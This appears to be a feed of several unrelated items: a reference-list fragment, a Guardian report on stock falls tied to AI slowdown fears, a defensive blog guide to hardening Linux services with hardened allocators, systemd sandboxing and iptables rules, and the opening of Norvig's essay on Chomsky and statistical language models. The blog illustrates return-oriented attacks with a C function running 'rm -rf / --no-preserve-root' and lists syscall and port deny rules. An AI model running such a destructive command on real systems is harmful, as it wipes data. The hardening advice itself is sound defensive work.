Merchant, Amil et al., “Scaling Deep Learning for Materials Discovery,” Nature , 2023, 624 (7990), 80–85.

OpenAI, “An OpenAI Model Has Disproved a Central Conjecture in Discrete Geometry,” research post, May 20, 2026a. https://openai.com/index/model-disproves-discrete-geometry-conjecture/

OpenAI, “On the Navier–Stokes Millennium Prize Problem,” research post, September 8, 2026b. https://openai.com/index/navier-stokes-solution/

Parshall, Daniel and Andrea Lopez-Luzuriaga, “Measuring AI’s Economic Reach: A Multi-Dimensional Task Taxonomy,” George Washington University Center for Economic Research Working Paper 2026-005, 2026. https://www2.gwu.edu/~forcpgm/2026-005.pdf

Robinson-Garcia, Nicolas et al., “Meta-Research: Task Specialization Across Research Careers,” eLife , 2020, 9, e60586.

Rosenberg, Josh et al., “How Accurate Have AI Progress Forecasts Been So Far?” research post, Forecasting Research Institute, September 22, 2026. https://forecastingresearch.org/research/ai-progress-accuracy-update

Schneider, Sandra L. et al., “2018 FDP Faculty Workload Survey: Report of Primary Findings,” Federal Demonstration Partnership, 2020. https://thefdp.org/wp-content/uploads/FDP-FWS-2018-Primary-Report.pdf

Shah, Nihar B. et al., “When Is It Better to Compare than to Score?” arXiv preprint arXiv:1406.6618, 2014. https://arxiv.org/abs/1406.6618

Tomei, Philip Moreira and Bouke Klein Teeselink, “What Jobs Can AI Learn? Measuring Exposure by Reinforcement Learning,” arXiv preprint arXiv:2605.02598, 2026. https://arxiv.org/abs/2605.02598

Tsoukalas, George et al., “Advancing Mathematics Research with AI-Driven Formal Proof Search,” Science , 2026, 394 (6820), 234–239.

Varadi, Mihaly et al., “AlphaFold Protein Structure Database in 2024: Providing Structure Coverage for over 214 Million Protein Sequences,” Nucleic Acids Research , 2024, 52 (D1), D368–D375.

Wang, Hanchen et al., “Scientific Discovery in the Age of Artificial Intelligence,” Nature , 2023, 620 (7972), 47–60.

Global stocks plunge amid AI slowdown fears after Democrats’ midterm triumph

Guardian
www.theguardian.com
2026-11-06 03:58:22
Asian and European markets follow Wall Street with sharp fall as FTSE down 1.5%Business live – latest updatesEuropean stock markets have fallen sharply as a rout in US tech stocks spread across the Atlantic, after the Democrats’ midterms victory sparked fears of a slowdown in the AI industry. A sell...
Original Article

European stock markets have fallen sharply as a rout in US tech stocks spread across the Atlantic, after the Democrats’ midterms victory sparked fears of a slowdown in the AI industry.

A sell-off on Wall Street on Thursday was followed by sharp falls in Asian stocks markets on Friday morning. The investor sentiment then reached London, with the FTSE 100 index, which tracks blue-chip shares listed in London, down 1.5%, or 166 points, at the start of trading to 10,615.

The pharmaceuticals company AstraZeneca opened down 2.8%, the biggest faller on the FTSE 100. Other big fallers included IAG, the owner of British Airways and Iberia, which fell 1.5%, after it missed profit forecasts in a trading update, and the miners Antofagasta and Anglo American.

Germany’s Dax index opened down 1.5%, France’s Cac 40 has dropped by 1.2% and Spain’s Ibex is down 1.1%.

Susannah Streeter, the chief investment strategist at Wealth Club, said: “The tech sell-off has intensified, with the pain of the brutal sell-off on Wall Street carried straight through to Asia and knocking sentiment in Europe .

“Big worries are colliding – the build-out of datacentres looks set to slow, which risks shredding the spending spree underpinning the boom, right at the time that investors have become super nervous about returns on this massive investment.”

On Thursday the Nasdaq share index had its worst day in 19 months after slumping 5.5%.

Chip stocks led the slump, with the memory maker SanDisk tumbling by 22% and the hard drive maker Western Digital falling by 17%. Wall Street’s “fear index”, the Vix, jumped by 61% to its highest levels since the early weeks of the Iran war, in a sign of rising market volatility.

The heavy falls continued in Asia on Friday, with Japan’s Nikkei 225 index sinking 6% and South Korea’s Kospi index tumbling more than 8% in early trading.

Despite the sharp losses suffered on global stock markets around the world, most indices are still up for the year.

skip past newsletter promotion

The Nasdaq Composite index, for example, is still up 4.6% since the start of January – even though it is more than 10% below its peak.

The FTSE 100 has gained almost 6.9% in 2026 – but it is now more than 300 points below the record high set in July.

Practical guide on out of tree mitigations on Linux

Lobsters
clehaxze.tw
2026-11-06 03:53:27
Comments...
Original Article

2026-11-04

My previous blog post was a quick one and a reader from Gemini sent me an email asking what exactly I did for implementing the mitigations. Thanks for asking and sorry for making you ask. This article should explain what is done and how to tweak the recipe. The core principle can be found in my much earlier article:

I'll assume you are using systemd as the way for you to manage your services, as systemd has been the default of Ubuntu for more than 10 years. Some defenses can be easily implemented with OpenRC or SysV init too. Some would be 3rd party tools like firejail when systemd is not available, which I have much less experience with, or even a new enough (as in, within a few years) Linux kernel. And I am personally very unfamiliar with Docker.

Also, critically, security is not one single thing. There's different ways your programs can be attacked. Buffer overflows, your server code forgot to check authentication, bad path parsing leading to directory traversal, etc.. etc.. Mitigation for buffer overflow won't stop your server serving files that it shouldn't. They need different mitigations to defend against. However, mitigations are basically a way, from the outside, to say to the program "To my knowledge you should never encounter X. So I'll make you unable to do X. So when an attacker tricked you into doing X, you can't. By making when X is detected, access denied or you crash". Overly strict mitigations will make your program unable to perform it's job.

Core principle when you are adding mitigations - assume your program is evil and then limit how much evil it can do by removing things it can touch.

In order of complexity to impact ratio (considering both ease of implementing and mitigation power):

Hardened allocator

I'd argue using a hardened allocator is the most important mitigation if I am forced to pick one. It works on every reasonable Linux version of kernel, does not depend on advanced kernel features and directly attacks one of the most common failure mode in old software - heap overflow and use-after-free. My previous posts recommends hardened_malloc, which I still recommend and is my default choice. But hardened_malloc is slow compared to alternatives that might be good enough for you or have a better trade off for your use. The options you have are:

  • hardened_malloc
  • mimalloc with secure config
  • scudo

Most advanced attacks require the program to be broken in a very specific way. Hardened allocators intervenes with that process ** and improves security by making programs that enter a broken state die faster** instead of keeping them running something that could be attacker-controlled behaviour. If your program is unstable with a hardened allocator, it's already broken and you need to fix it (or a very specific case of not working, which I'll point to later).

hardened_malloc

hardened_malloc is my default choice, it's developed by GrapheneOS and a fork of OpenBSD's allocator. On Arch it is available via AUR. Otherwise on other distributions, you'll need to install it from source, the steps are dead simple:

bash
git clone https://github.com/GrapheneOS/hardened_malloc
cd hardened_malloc
make
sudo make install

mimalloc

mimalloc is Microsoft's invention and comes with a secure mode. You can choose the secure level with -DMI_SECURE=OFF|MINIMAL|ON|FULL -- in my testing even the FULL mode is faster than hardened_malloc. Though hardened_malloc's performance never bothered me, but if your server is constantly busy or for other reasons. Give mimalloc a try and see if one of it's modes are fast enough. I personally use mimalloc when the program just breaks on hardened_malloc. Though not able to run under hardened_malloc is usually a sign that the program is broken and needs fix.

bash
https://github.com/microsoft/mimalloc
cd mimalloc
mkdir build
cd build
cmake .. -DMI_SECURE=ON
make -j4
sudo make install

Scudo

Scudo is LLVM's secure allocator, it is designed to be fast while giving most security benefits. If that is enough security is up to your interpretation. There's no build step needed as it gets installed with the LLVM toolchain. However, as it is a part of the LLVM toolchain, the path changes with the LLVM version . You'll need to keep an eye on the exact LLVM version on rolling distros.

For my Arch machine. The file lives in /usr/lib/clang/23/lib/x86_64-pc-linux-gnu/libclang_rt.scudo_standalone.so . That 23 changes with major clang releases

Using hardened allocators

Using hardened allocators is easy. For dynamically linked programs (which is most of them, including Rust and Go binaries). Set environment LD_PRELOAD=/path/to/your/installed/liballocator.so and it'll replace the default allocator glibc provides. On my Arch system, to use hardened_malloc:

bash
LD_PRELOAD=/usr/lib/libhardened_malloc.so my_program

To demonstrate what a hardened allocator does. Take the following faulty C program:

c
/* bad.c */

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char *buffer = malloc(24);

    /* FIXME: one byte past the 24-byte allocation This is analogous to real vulnerabilities
     The attacker can make the program write into addresses that it shouldn't */
    volatile char *bytes = buffer;
    bytes[24] = 'X';

    free(buffer);
    puts("finished");
    return 0;
}

Compiling it with the default glibc allocator allows the program to survive after the bad write. But not under hardened_malloc. The program dies on free() . Of course, AddressSanitizer will catch the issue with -fsanitize=address . But you don't use AddressSanitizer in production while hardened allocators attempt to stop bad program states during production.

bash
❯ cc -std=c11 -O0 -o bad bad.c

❯ ./bad
finished

❯ LD_PRELOAD=/usr/lib/libhardened_malloc.so ./bad
fatal allocator error: canary corrupted
[1]    127032 abort (core dumped)  LD_PRELOAD=/usr/lib/libhardened_malloc.so ./bad

Note that for this specific minor mistake (one byte after the allocation region). Only hardened_malloc and mimalloc on ON or FULL catches them. Scudo as shipped by Arch did not.

Banning syscalls

System calls (or syscalls) are how your program ask the kernel to perform task. These include reading and writing files, sending data over the network, executing a new program to even changing the acting user. There's reasons your web application might need to execute other programs or change it's acting user.. but not much and modern web application are designed around never needing to - because managing them is both slow and difficult to get right.

Systemd supports the SystemCallFilter option that disallows the program from making specific syscalls. This is helpful as most attackers normally default to invoking the shell for their attacks, to copy files and to install backdoors so they can get back in later. Running the shell on UNIX and UNIX-like systems are implemented through the fork (creating a clone of the current process) and exec (replace the current process) syscalls.

Most webapps have no business calling either.. unless you are PHP and still does remote API calls via curl. Along with another slew of syscalls that most webapps having no business calling, this is the usual systemd config I set:

conf
[Service]
# Disable running x32 binaries on x64 host
SystemCallArchitectures=native
# Syscalls that most webapps has no business doing. Debug, mount, etc..
SystemCallFilter=~@clock @cpu-emulation @debug @module @mount @obsolete @raw-io @reboot @swap
# io_uring has been a source of recent vulnerabilities. Most webapp doesn't need it - the
# reverse proxy might. Usually can be disabled
SystemCallFilter=~io_uring_setup io_uring_enter io_uring_register
# Webapps are not going to do BPF (operating on raw IP sockets) and fanotify (FS watching,
# most code today use inotify, if it does FS watching at all).
SystemCallFilter=~bpf fanotify_init fanotify_mark
# Generally just not used and/or unrelated to webapp serving
SystemCallFilter=~userfaultfd process_vm_readv process_vm_writev
# If you don't need exec, comment this line out if your server needs it
SystemCallFilter=~execve execveat
# Fork
SystemCallFilter=~fork vfork

# This is debatable, but for application availability, instead of killing the app, make the
# syscall return error. Most server programs will handle it gracefully in case you banned a
# syscall it wants.
SystemCallErrorNumber=EPERM

This way even if an attacker managed to hack your server process, Linux will deny it from spawning new programs. Stopping the attacker from further compromising the easy way. Though importantly, this only stops the attacker from spawning a new shell. The attacker can still attempt to read files if they found a way to do so, via directory traversal or gaining remote code execution.

Banning paths

In the case that you actually need both fork and exec. To limit the attacker's reach. The next line of defense is to make the process unable to read files outside of what it should -- "should" means everything it needs over it's entire lifetime. From the dynamic linker loading the program, /etc/hosts for local hostname lookup, /dev/urandom for UNIX style random data to /usr/share/ca-certificates/ for TLS verification. Everything.

Luckily systemd already gave us a set of reasonably usable flags to set.

conf
[Service]
# Make /usr, /boot and /etc read only. Set `ProtectSystem=yes` if the program want to write to /etc
ProtectSystem=strict
# Make home directories not readable by the process. Unless you are deploying from a
# home directory. Enable this
ProtectHome=yes
# Unshare the system wide /tmp
PrivateTmp=yes
# Give the process it's own version of /dev with only the basic devices (no hard drive,
# TTY, or other devices here)
PrivateDevices=yes

# Your webapp likely doesn need these too
InaccessiblePaths=/boot
InaccessiblePaths=/media # be careful with this one, you might mount your storage pool here
InaccessiblePaths=/mnt # be careful with this one, you might mount your storage pool here
InaccessiblePaths=/srv
InaccessiblePaths=/etc/ssh # Your webapp has no business checking the SSH configuration

For further protection. You likely don't need /proc. Do test this though. Some applications will attempt to self monitor and does need access to /proc/self.

conf
# Why would the process want access to /proc?
InaccessiblePaths=/proc

Positive listing accessible paths

Banning accessible paths starts out simple and easy, but quickly becomes whack-a-mole when you start making sure none of your relatively important configurations leak. Read-only /etc is good, but /etc/pacman.conf is still readable if the process goes rogue and your code really just needs /etc/ssl for TLS. You can go the other direction: name the directories the process is allowed to access. Then gradually add more and more until the process runs.

conf
[Service]
# Hide everything by default by making / a read only tmpfs
TemporaryFileSystem=/:ro

# Add paths back gradually
BindReadOnlyPaths=/usr /etc/ld.so.cache /etc/ssl /etc/resolv.conf
BindReadOnlyPaths=/lib /lib64
BindPaths=/path/to/your/daemon

Disabling programs under path

If you can't disabled fork + exec to make the program unable to execute commands. There's another way to get pretty much the same effect with {No,}ExecPaths . NoExecPaths makes all files under the path unable to be executed (including libraries, which to Linux's eyes are executables). And ExecPaths explicitly allows them. By only allowing your server process (plus what your program calls), you effectively make the program unable to execute anything else.

conf
NoExecPaths=/
# Allow running of your server process
ExecPaths=/usr/bin/my_daemon
# And the programs it needs to execute. And /bin/sh because the `system()` function uses it
ExecPaths=/bin/sh
ExecPaths=/usr/bin/awk # example: the server uses awk scripts to process records
# Where your libraries are. Add more if you need to. To Linux executable also means
# libraries that needs to be loaded
ExecPaths=/usr/lib /usr/lib64

With the above example configutation. /usr/bin/my_daemon can only run sh (needed system()) and awk (what the server acutally needs) -- everything else, including cp , sed , xargs , rm are all unavailable.

Per user/application firewall rules

Hopefully you are running each service as it's own user and minimal privilege. But it's still good practice to limit what the application can access -- even in today's internet where everyone is behind a CDN and stable IP addresses are a myth -- you can make sure the process never tries to reach something it never should. Say someone else on port 80 (you shouldn't be using raw HTTP today), another unrelated service on localhost or someone else's port 22 (SSH). Why would your Apache server try to reach SSH..? Something is wrong.

iptables support per user (and per group) rules. For example, you can disable access to all port 22 and 80 across all network range for user http (which usually runs your HTTP server / reverse proxy).

bash
iptables -A OUTPUT -m owner --uid-owner http -p tcp --dport 22 -j REJECT
iptables -A OUTPUT -m owner --uid-owner http -p tcp --dport 80 -j REJECT

# IPv6
ip6tables -A OUTPUT -m owner --uid-owner http -p tcp --dport 22 -j REJECT
ip6tables -A OUTPUT -m owner --uid-owner http -p tcp --dport 80 -j REJECT

Or make user http unable to initiate TCP connection to anything but localhost.

bash
# Allow TCP connections to IPv4 loopback addresses (127.0.0.0/8)
iptables -A OUTPUT -p tcp -m owner --uid-owner http -d 127.0.0.0/8 -j ACCEPT
# Reject all other outgoing TCP connections from user http
iptables -A OUTPUT -p tcp -m owner --uid-owner http -j REJECT

# IPv6
# Allow IPv6 loopback
ip6tables -A OUTPUT -p tcp -m owner --uid-owner http -d ::1/128 -j ACCEPT
# Reject other IPv6 TCP traffic
ip6tables -A OUTPUT -p tcp -m owner --uid-owner http -j REJECT

This sometimes causes issues if you are like me, lazy. I compile and run services under a dedicated user. But that user also needs access to git (thus port 22) to pull repositories. To handle this, I usually create 2 users. For example blog and _blog . The blog user is the one pulling git and compiling. While _blog is added to the blog group so it can access the home directory, yet follows a seperate firewall rule so it cannot create it's own outbound network traffic.

Via systemd

Of course, systemd has roughly the same features too. IPAddress{Allow,Deny} can default deny then explicitly allow subnets that are allowed. Though it does not support limiting port access and requires cgroup and eBPF support (so a new enough kernel). To only allow local addresses via systemd, add the following configuration.

conf
[Service]
IPAddressDeny=any
IPAddressAllow=127.0.0.1/24
IPAddressAllow=::1/128

Other systemd settings

Systemd has everything. Including several security flags that you may or may not want to set depending on your usecase. Most of the settings are restricting the process from obtaining or exercising management capabilities, as web applications shouldn't need them while attackers do.

conf
NoNewPrivileges=yes	# Prevents processes and their children from switching to user that can switch to root
ProtectKernelTunables=yes   # Prevents modification of kernel settings that can be changed in /proc/sys
ProtectKernelModules=yes    # Prevents loading and unloading kernel modules
ProtectKernelLogs=yes  # Restricts access to kernel logs
ProtectControlGroups=yes    # Prevents modification of cgroup hierarchies
ProtectClock=yes    # Prevents changing system and hardware clocks
RestrictSUIDSGID=yes    # Prevents creating files with SUID/SGID bits
LockPersonality=yes # Prevents changing the CPU architecture mode (ex: running x32 code on x64 CPU)
RestrictRealtime=yes    # Prevents acquiring real-time scheduling privileges
RestrictNamespaces=yes  # Prevents creating or joining Linux namespaces
CapabilityBoundingSet=  # Removes all Linux capabilities (bind to privileged ports, raw socets, changing firewall, etc..)
AmbientCapabilities=    # Clears ambient capabilities
SystemCallArchitectures=native	# Restricts system calls to the native architecture

# If you are running a compiled program or the interperter and runtime does not JIT
MemoryDenyWriteExecute=yes  # Restricts allocating writable and executable memory

NoNewPrivileges and MemoryDenyWriteExecute need some explanation. NoNewPrivileges is a bit convoluted. NoNewPrivileges first and foremost clears the process privilege and prevents the current process switching user/group to another user/group with a greater privilege - including root. But what is privilege? Privilege is the ability to switch to another user/group with a greater privilege or gain more privilege. It's circular but hopefully you can see that once privilege is cleared, you can't escalate your process to root or through a chain of accounts, to root eventually. Or simply, in practice, NoNewPrivileges means the process itself can never be root.

MemoryDenyWriteExecute prevents a piece of memory to ever be both writable and executable at the same time. Attackers who want the server execute their code may decide the easiest way is to upload their code into the server's memory and find a way to make the CPU jump there. This process obviously needs the memory both be writable (to upload code) and executable programs just needs read and executable. Your code is already compiled or there's an interperter interperting your code.. With one exception. JIT compilers. JIT compilers take your source code, both interpert and compiles it on the fly. Which does need both write and executable memory.

In practice this means all NodeJS, all .NET applications, all JAVA appliactions, newer Ruby, SBCL, LuaJIT, PHP >= 8.0 and anything that depends on PCRE (Perl Compatible Regular Expressions) cannot have MemoryDenyWriteExecute set. Everything else mostly likely can. Including but not limited to Lua, Python, Rust, Go, C, C++, D.

CET / Shadow Stack

If you are running on a new enough CPU (Intel 12th gen, AMD Zen3) and is running a new enough kernel and glibc, Shadow Stack is a hardware machinism to make one of the more nasty attacks (ROP, Return Oriented Programming) not viable. How ROP works is quite technical. To give a high level overview: when a program has a memory vulnerability, the attacker can attempt to, though a long chain of manipulations, trick the CPU into returning to a different place then it comes to.

c
void delete_disk() {
    system("rm -rf / --no-preserve-root");
}

void foo() {
    some_vulnerable_code();
    return; // <- Your program _can_ return to delete_disk()
}

int main() {
    return foo();
}

Yeah it's crazy.

With CPU supporting Shadow Stack, the CPU records where each function call originated into a seperate region of memory (and inaccessable to the program itself) and check if the intended location it's returning to matches the sotred value. This way it's pretty impossible to trick the CPU to return to a location that is not where the function is called.

On x64 the hardware implementatino is called CET (Control-flow Enforcement Technology). Unfortunatelly it is not enabled by default - there's cases where older compilers will intend to return to a different location then it's callers - old GCC for example, sometimes for optimizations reasons, modifies the return address for tail calls so it can jump back once instead if severak times through functions. And thus binaries are marked with if they are Shadow Stack compatible and the OS only enables Shadow Stack if all loaded binaries are Shadow Stack compatible. To tell the OS to try to enable shadow stack. Add environment:

bash
export GLIBC_TUNABLES=glibc.cpu.hwcaps=SHSTK

And to check if your program have shadow stack enabled. Read /proc and see if shstk shows up in the thread features list.

bash
❯ cat /proc/$PID/status | grep -i x86_Thread_features

x86_Thread_features:	shstk
x86_Thread_features_locked:	shstk wrss

The only reason I put this low on the list is because it stops a very specific type of attack that I don't see much in the wild. Even if the kind of attack is stops can be realyl nasty.

Serous contender: build your own glibc

Operationally complicated, but this might just be worth it. Most attacks, if they need a binary exploit, will target glibc because that's the most common thing to be loaded in memory. Nearly all process has it. Espicially if the vulnerability happensi in a library that usually has no natural paths to invoking the shell. These attacks eventually needs to know where system() is within the sepcfici glibc binary that's loaded. Compiling your own glibc makes that offset unknown to the attacker (usually they download archives from distributions and inspect) resulting in a crash instead of a successful command execution.

A benitfit of this approach being it works everywhere. Glibc is famously backwards compatible to applications most of the times. Unfortunatelly if you need glibc to be the line defending your process. Something else is already very broken. Personally I treat it as a nice to have and a final line of defense then thing to deploy first.

To build glibc from source

bash
git clone https://sourceware.org/git/glibc.git
cd glibc
git checkout release/2.40/master   # or whatever version you want, or HEAD

# glibc refuses to build inside its source tree
mkdir ../glibc-build && cd ../glibc-build

../glibc/configure --prefix=/opt/glibc-2.40 CFLAGS="-O2"
make -j4
sudo make install # install to /opt/glibc-2.40

Then to use the newly installed glibc, instead of LD_PRELOAD , you have to execute it's dynamic linker as glibc is a special case - that LD_PRELOAD depends on glibc itself.

bash
/opt/glibc-2.40/lib/ld-linux-x86-64.so.2 \
    --library-path /opt/glibc-2.40/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
    /path/to/your/daemon arg1 arg2..

If you are following the previous recommendations and setting NoExecPaths . The local glibc install directory needs ot be added into the ExecPaths list.

PHP Specifics

PHP is a weird thing. I use PHP through PHP-FPM and PHP-FPM has built-in user managment. Instead of PHP-FPM being run as it's own users. PHP-FPM spawns as root and switchs workers to users that the services should be running at, at runtime. This means we can't simply ban the entire setuid syscall all togerther (see my previous post on what I did).

And some PHP plugins has deep binding enabled. I don't know why they need it but it causes the shared object to use a different allocator then the one you LD_PRELOAD'd and crash because it runs on a different free() implementation.

c
// php-deepbind-shim.c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>

void *dlopen(const char *filename, int flags)
{
    void *(*next_dlopen)(const char *, int) = dlsym(RTLD_NEXT, "dlopen");
    // change the paths here to your PHP path.
    if (filename != NULL &&
        strncmp(filename, "/usr/lib/php-legacy/modules/",
                sizeof("/usr/lib/php-legacy/modules/") - 1) == 0) {
        flags &= ~RTLD_DEEPBIND;
    }
    return next_dlopen(filename, flags);
}

Compile it with cc php-deepbind-shim.c -fPIC -shared -o php-deepbind-shim.so php-deepbind-shim.c and LD_PRELOAD it to your PHP(-FPM) instance to get rid of deep binding for PHP modules. If using systemd and denied execution everywhere, remember to add /path/to/php-deepbind-shim.so to your ExecPaths

PHP uses it's own Zend allocator internally. PHP allocations goes through zend_alloc() (which is backed up it's own memory pool and then malloc) and reuse memory after zned_free() . Which defeats the purpose of having a hardened allocator! Set the enviroment USE_ZEND_ALLOC=0 to disable the Zend allocator if you wnat your custom allocator to be effective. But because the Zend allocator is the thing reporting and limiting total memory use of PHP. So you'll need to handle that through systemd, limiting how much memory that PHP can use overall

conf
[service]
MemoryHigh=6G
MemoryMax=8G

Hopefully this article explains what I do and why I do for proactive mitigations in my machines. And hope it helped people defending themselves.

Chomsky and the Two Cultures of Statistical Learning

Hacker News
www.norvig.com
2026-11-06 03:18:36
Comments...
Original Article
At the Brains, Minds, and Machines symposium held during MIT's 150th birthday party in 2011, Technology Review reports that Prof. Noam Chomsky
derided researchers in machine learning who use purely statistical methods to produce behavior that mimics something in the world, but who don't try to understand the meaning of that behavior.
The transcript is now available, so let's quote Chomsky himself:
It's true there's been a lot of work on trying to apply statistical models to various linguistic problems. I think there have been some successes, but a lot of failures. There is a notion of success ... which I think is novel in the history of science. It interprets success as approximating unanalyzed data.


Noam Chomsky

Chomsky's remarks were in response to Steven Pinker's question about the success of probabilistic models trained with statistical methods. This essay is a response to Pinker and Chomsky, and will address these questions:

  1. What did Chomsky mean, and is he right?
  2. What is a statistical model?
  3. How successful are statistical language models?
  4. Is there anything like their notion of success in the history of science?
  5. What doesn't Chomsky like about statistical models?

What did Chomsky mean, and is he right?

I take Chomsky's points to be the following:
  1. Statistical language models have had engineering success, but that is irrelevant to science.
  2. Accurately modeling linguistic facts is just butterfly collecting; what matters in science (and specifically linguistics) is the underlying principles.
  3. Statistical models are incomprehensible; they provide no insight.
  4. Statistical models may provide an accurate simulation of some phenomena, but the simulation is done completely the wrong way; people don't decide what the third word of a sentence should be by consulting a probability table keyed on the previous words, rather they map from an internal semantic form to a syntactic tree-structure, which is then linearized into words. This is done without any probability or statistics.
  5. Statistical models have been proven incapable of learning language; therefore language must be innate, so why are these statistical modelers wasting their time on the wrong enterprise?
Is he right? That's a long-standing debate. These are my short answers:
  1. I agree that engineering success is not the sole goal or the measure of science. But I observe that science and engineering develop together, and that engineering success shows that something is working right, and so is evidence (but not proof) of a scientifically successful model.
  2. Science is a combination of gathering facts and making theories; neither can progress on its own. In the history of science, the laborious accumulation of facts is the dominant mode, not a novelty. The science of understanding language is no different than other sciences in this respect.
  3. I agree that it can be difficult to make sense of a model containing billions of parameters. Certainly a human can't understand such a model by inspecting the values of each parameter individually. But one can gain insight by examing the properties of the model—where it succeeds and fails, how well it learns as a function of data, etc.
  4. I agree that a Markov model of word probabilities cannot model all of language. It is equally true that a concise tree-structure model without probabilities cannot model all of language. What is needed is a probabilistic model that covers words, syntax, semantics, context, discourse, etc. Chomsky dismisses all probabilistic models because of shortcomings of a particular 50-year old probabilistic model. I understand how Chomsky might arrive at the conclusion that probabilistic models are unnecessary, from his study of the generation of language. But the vast majority of people who study interpretation tasks (such as speech recognition) quickly see that interpretation is an inherently probabilistic problem: given a stream of noisy input to my ears, what did the speaker most likely mean? Einstein said to make everything as simple as possible, but no simpler. Many phenomena in science are stochastic, and the simplest model of them is a probabilistic model; I believe language is such a phenomenon and therefore that probabilistic models are our best tool for representing facts about language, for algorithmically processing language, and for understanding how humans process language.
  5. In 1967, Gold's Theorem showed some theoretical limitations of logical deduction on formal mathematical languages. But this result has nothing to do with the task faced by learners of natural language. In any event, by 1969 we knew that probabilistic inference (over probabilistic context-free grammars) is not subject to those limitations (Horning showed that learning of PCFGs is possible). I agree with Chomsky that it is undeniable that humans have some innate capability to learn natural language, but we don't know enough about that capability to say how it works; it certainly could use something like probabilistic language representations and statistical learning. And we don't know if the innate ability is specific to language, or is part of a more general ability that works for language and other things.
The rest of this essay consists of longer versions of each answer.

What is a statistical model?

A statistical model is a mathematical model which is modified or trained by the input of data points. Statistical models are often but not always probabilistic. Where the distinction is important we will be careful not to just say "statistical" but to use the following component terms:
  • A mathematical model specifies a relation among variables, either in functional form that maps inputs to outputs (e.g. y = m x + b ) or in relation form (e.g. the following ( x , y ) pairs are part of the relation).
  • A probabilistic model specifies a probability distribution over possible values of random variables, e.g., P( x , y ), rather than a strict deterministic relationship, e.g., y = f ( x ).
  • A trained model uses some training/learning algorithm to take as input a collection of possible models and a collection of data points (e.g. ( x , y ) pairs) and select the best model. Often this is in the form of choosing the values of parameters (such as m and b above) through a process of statistical inference.


Claude Shannon

For example, a decade before Chomsky, Claude Shannon proposed probabilistic models of communication based on Markov chains of words. If you have a vocabulary of 100,000 words and a second-order Markov model in which the probability of a word depends on the previous two words, then you need a quadrillion (10 15 ) probability values to specify the model. The only feasible way to learn these 10 15 values is to gather statistics from data and introduce some smoothing method for the many cases where there is no data. Therefore, most (but not all) probabilistic models are trained. Also, many (but not all) trained models are probabilistic.

As another example, consider the Newtonian model of gravitational attraction, which says that the force between two objects of mass m 1 and m 2 a distance r apart is given by

F = G m 1 m 2 / r 2
where G is the universal gravitational constant. This is a trained model because the gravitational constant G is determined by statistical inference over the results of a series of experiments that contain stochastic experimental error. It is also a deterministic (non-probabilistic) model because it states an exact functional relationship. I believe that Chomsky has no objection to this kind of statistical model. Rather, he seems to reserve his criticism for statistical models like Shannon's that have quadrillions of parameters, not just one or two.

(This example brings up another distinction: the gravitational model is continuous and quantitative whereas the linguistic tradition has favored models that are discrete , categorical , and qualitative : a word is or is not a verb, there is no question of its degree of verbiness. For more on these distinctions, see Chris Manning's article on Probabilistic Syntax .)

A relevant probabilistic statistical model is the ideal gas law , which describes the pressure P of a gas in terms of the the number of molecules, N , the temperature T , and Boltzmann's constant, K :

P = N k T / V .

The equation can be derived from first principles using the tools of statistical mechanics. It is an uncertain, incorrect model; the true model would have to describe the motions of individual gas molecules. This model ignores that complexity and summarizes our uncertainty about the location of individual molecules. Thus, even though it is statistical and probabilistic, even though it does not completely model reality, it does provide both good predictions and insight—insight that is not available from trying to understand the true movements of individual molecules.

Now let's consider the non-statistical model of spelling expressed by the rule " I before E except after C. " Compare that to the probabilistic, trained statistical model:

P(IE) = 0.0177         P(CIE) = 0.0014        P(*IE) = 0.163
P(EI) = 0.0046         P(CEI) = 0.0005        P(*EI) = 0.0041
This model comes from statistics on a corpus of a trillion words of English text. The notation P(IE) is the probability that a word sampled from this corpus contains the consecutive letters "IE." P(CIE) is the probability that a word contains the consecutive letters "CIE", and P(*IE) is the probability of any letter other than C followed by IE. The statistical data confirms that IE is in fact more common than EI (by almost 4 to 1), and that the dominance of IE lessens when following a C, but contrary to the rule, CIE is still more common than CEI, by almost 3 to 1. Examples of "CIE" words include "science," "society," "ancient" and "species." The disadvantage of the "I before E except after C" model is that it is not very accurate. Consider:
Accuracy("I before E") = 0.0177/(0.0177+0.0046) = 0.793
Accuracy("I before E except after C") = (0.0005+0.0163)/(0.0005+0.0163+0.0014+0.0041) = 0.753
A more complex statistical model (say, one that gave the probability of all 4-letter sequences, and/or of all known words) could be ten times more accurate at the task of spelling, but does not offer concise insight into how spelling works. Insight would require a model that knows about phonemes, syllabification, and language of origin. Such a model could be trained (or not) and probabilistic (or not).

As another example of insight, consider the Theory of Supreme Court Justice Hand-Shaking: when the supreme court convenes, all attending justices shake hands with every other justice. The number of attendees, n , must be an integer in the range 0 to 9; what is the total number of handshakes, h for a given n ? Here are three possible explanations:

  1. Each of n justices shakes hands with the other n - 1 justices, but that counts Alito/Breyer and Breyer/Alito as two separate shakes, so we should cut the total in half, and we end up with h = n × ( n - 1) / 2.
  2. To avoid double-counting, we will order the justices by seniority and only count a more-senior/more-junior handshake, not a more-junior/more-senior one. So we count, for each justice, the shakes with the more junior justices, and sum them up, giving h = Σ i = 1 .. n ( i - 1).
  3. Just look at this table:
    n : 0 1 2 3 4 5 6 7 8 9
    h : 0 0 1 3 6 10 15 21 28 36
Some people might prefer A, some might prefer B, and if you are slow at doing multiplication or addition you might prefer C. Why? All three explanations describe exactly the same theory — the same function from n to h , over the entire domain of possible values of n (as long as there are no more than 9 supreme court justices). Thus we could prefer A (or B) over C only for reasons other than the theory itself. We might find that A or B gave us a better understanding of the problem. A and B are certainly more useful than C for figuring out what happens if Congress exercises its power to add an additional justice. Theory A might be most helpful in developing a theory of handshakes at the end of a hockey game (when each player shakes hands with players on the opposing team) or in proving that the number of people who shook an odd number of hands at the MIT Symposium is even.

How successful are statistical language models?

Chomsky said words to the effect that statistical language models have had some limited success in some application areas. Let's look at computer systems that deal with language, and at the notion of "success" defined by "making accurate predictions about the world." First, the major application areas:
  • Search engines: 100% of major players are trained and probabilistic. Their operation cannot be described by a simple function.
  • Speech recognition: 100% of major systems are trained and probabilistic, mostly relying on probabilistic hidden Markov models.
  • Machine translation: 100% of top competitors in competitions such as NIST use statistical methods. Some commercial systems use a hybrid of trained and rule-based approaches. Of the 4000 language pairs covered by machine translation systems, a statistical system is by far the best for every pair except Japanese-English, where the top statistical system is roughly equal to the top hybrid system.
